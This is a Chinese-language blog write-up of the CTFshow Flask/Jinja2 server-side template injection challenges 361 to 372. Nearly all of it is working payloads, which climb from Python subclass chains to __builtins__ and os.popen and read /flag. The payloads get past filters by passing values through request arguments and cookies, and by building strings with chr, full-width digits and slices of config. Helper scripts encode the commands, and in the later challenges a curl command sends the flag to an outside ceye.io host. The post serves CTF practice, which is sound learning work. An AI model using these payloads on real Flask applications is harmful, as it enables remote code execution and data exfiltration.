CTFSHOW SSTI入门

v2ish1yan

已于 2022-09-02 09:00:59 修改

阅读量581

点赞数 2

分类专栏： CTF WEB 文章标签： flask python

于 2022-09-02 08:53:46 首次发布

本文链接：https://blog.csdn.net/weixin_52585514/article/details/126654974

版权

CTF WEB 专栏收录该内容

18 篇文章 3 订阅

订阅专栏

361

使用__builtins__类中的方法来进行注入攻击
在warnings.catch_warnings类中有他
可以使用以下脚本找这个类

import json
classes="""
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <class 'unpack_iterator'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>
"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类，并返回其索引
for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)

payload

?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

362

应该是过滤了一些类，
所以上面的payload依然有用
payload

?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

363

过滤了引号'
flask中存在着request内置对象可以得到请求的信息，request可以用5种不同的方式来请求信息，我们可以利用他来传递参数绕过

request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

payload

?name={{().__class__.__bases__[0].__subclasses__()[185].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

还可以使用chr绕过
先爆破出包含chr的类

{{().__class__.__base__.__subclasses__()[§11§].__init__.__globals__.__builtins__.chr}}

payload:

?name={%set chr=().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.popen(chr(108)%2bchr(115)).read()}}

但是可能是环境问题，暂时没成功

364

过滤了'和args
使用request.values.name绕过
payload:

?name={{().__class__.__bases__[0].__subclasses__()[185].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}&arg1=open&arg2=/flag

或者这个来执行命令

?name={{().__class__.__bases__[0].__subclasses__()[185].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).popen(request.values.arg3).read()}}&arg1=__import__&arg2=os&arg3=cat /flag

365

过滤了
'
args
[]
使用pop()或者__getitem__绕过
payload

?name={{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')

366

过滤了
'
args
[]
_
且不能使用request.values.name
所以使用request.cookies.name
然后使用flask自带的attr
' '|attr('__class__')等于
' '.__class__
lipsum是一个方法
其调用__globals__可以直接使用os执行命令

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

payload

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*

367

过滤了
'
args
[]
_
os
使用request.cookies.a绕过
payload

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*

368

过滤了
'
args
[]
_
os
{{
}}
使用{%
因为{%%}是没有回显的
所以使用print来标记使他有回显
payload

?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*

369

过滤了
'
args
[]
_
os
{{
}}
request
拼接字符串
payload:

{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
lipnum|attr('__globals__').get('os').popen('cat /flag').read()

还可以使用chr

{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
{%print a.eval(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)).read()%}


print lipsum|attr('__globals__').get('__builtins__').eval(__import__('os').popen('ls')).read()

使用下面的脚本来获得ascii码

<?php

//使用chr绕过ssti过滤引号
$str="__import__('os').popen('ls')";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

370

过滤了
'
args
[]
_
os
{{
}}
request
数字
可以使用全角数字替代
也可以使用length获取数字
payload

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(２４)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(４７)%2bchr(１０２)%2bchr(１０８)%2bchr(９７)%2bchr(１０３)%}
{%print(x.open(file).read())%}

脚本

# 绕过ban数字
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''

while 1:
    s = input("输入想要的数字")
    for i in s:
        t+=half2full(i)
    print(t)

371

过滤了
'
args
[]
_
os
{{
}}
request
数字
print
使用dns外带
还是使用上面的原理
使用全角数字和chr进行命令执行
获得chr

<?php

//使用chr绕过ssti过滤引号
$str="__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

将普通数字变成全角

#正则匹配出字符串中的数字，然后返回全角数字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
for i in re.findall('\d{2,3}',str):
    result+="chr("+half2full(i)+")~"
    print(i)
print(result[:-1])

这里使用ceye.io
不知道为什么dnslog用不了
payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(２４)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(９５)~chr(９５)~chr(１０５)~chr(１０９)~chr(１１２)~chr(１１１)~chr(１１４)~chr(１１６)~chr(９５)~chr(９５)~chr(４０)~chr(３９)~chr(１１１)~chr(１１５)~chr(３９)~chr(４１)~chr(４６)~chr(１１２)~chr(１１１)~chr(１１２)~chr(１０１)~chr(１１０)~chr(４０)~chr(３９)~chr(９９)~chr(１１７)~chr(１１４)~chr(１０８)~chr(３２)~chr(１０４)~chr(１１６)~chr(１１６)~chr(１１２)~chr(５８)~chr(４７)~chr(４７)~chr(９６)~chr(９９)~chr(９７)~chr(１１６)~chr(３２)~chr(４７)~chr(１０２)~chr(１０８)~chr(９７)~chr(１０３)~chr(９６)~chr(４６)~chr(１１７)~chr(１０７)~chr(１０５)~chr(５２)~chr(１２１)~chr(５７)~chr(４６)~chr(９９)~chr(１０１)~chr(１２１)~chr(１０１)~chr(４６)~chr(１０５)~chr(１１１)~chr(３９)~chr(４１)
)%}{%if x.eval(cmd)%}aaa{%endif%}

q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")

372

上面的payload依旧适用
看其他人的wp貌似是把length过滤了
count可以替代length
payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(２４)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(９５)~chr(９５)~chr(１０５)~chr(１０９)~chr(１１２)~chr(１１１)~chr(１１４)~chr(１１６)~chr(９５)~chr(９５)~chr(４０)~chr(３９)~chr(１１１)~chr(１１５)~chr(３９)~chr(４１)~chr(４６)~chr(１１２)~chr(１１１)~chr(１１２)~chr(１０１)~chr(１１０)~chr(４０)~chr(３９)~chr(９９)~chr(１１７)~chr(１１４)~chr(１０８)~chr(３２)~chr(１０４)~chr(１１６)~chr(１１６)~chr(１１２)~chr(５８)~chr(４７)~chr(４７)~chr(９６)~chr(９９)~chr(９７)~chr(１１６)~chr(３２)~chr(４７)~chr(１０２)~chr(１０８)~chr(９７)~chr(１０３)~chr(９６)~chr(４６)~chr(１１７)~chr(１０７)~chr(１０５)~chr(５２)~chr(１２１)~chr(５７)~chr(４６)~chr(９９)~chr(１０１)~chr(１２１)~chr(１０１)~chr(４６)~chr(１０５)~chr(１１１)~chr(３９)~chr(４１)
)%}{%if x.eval(cmd)%}aaa{%endif%}

q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")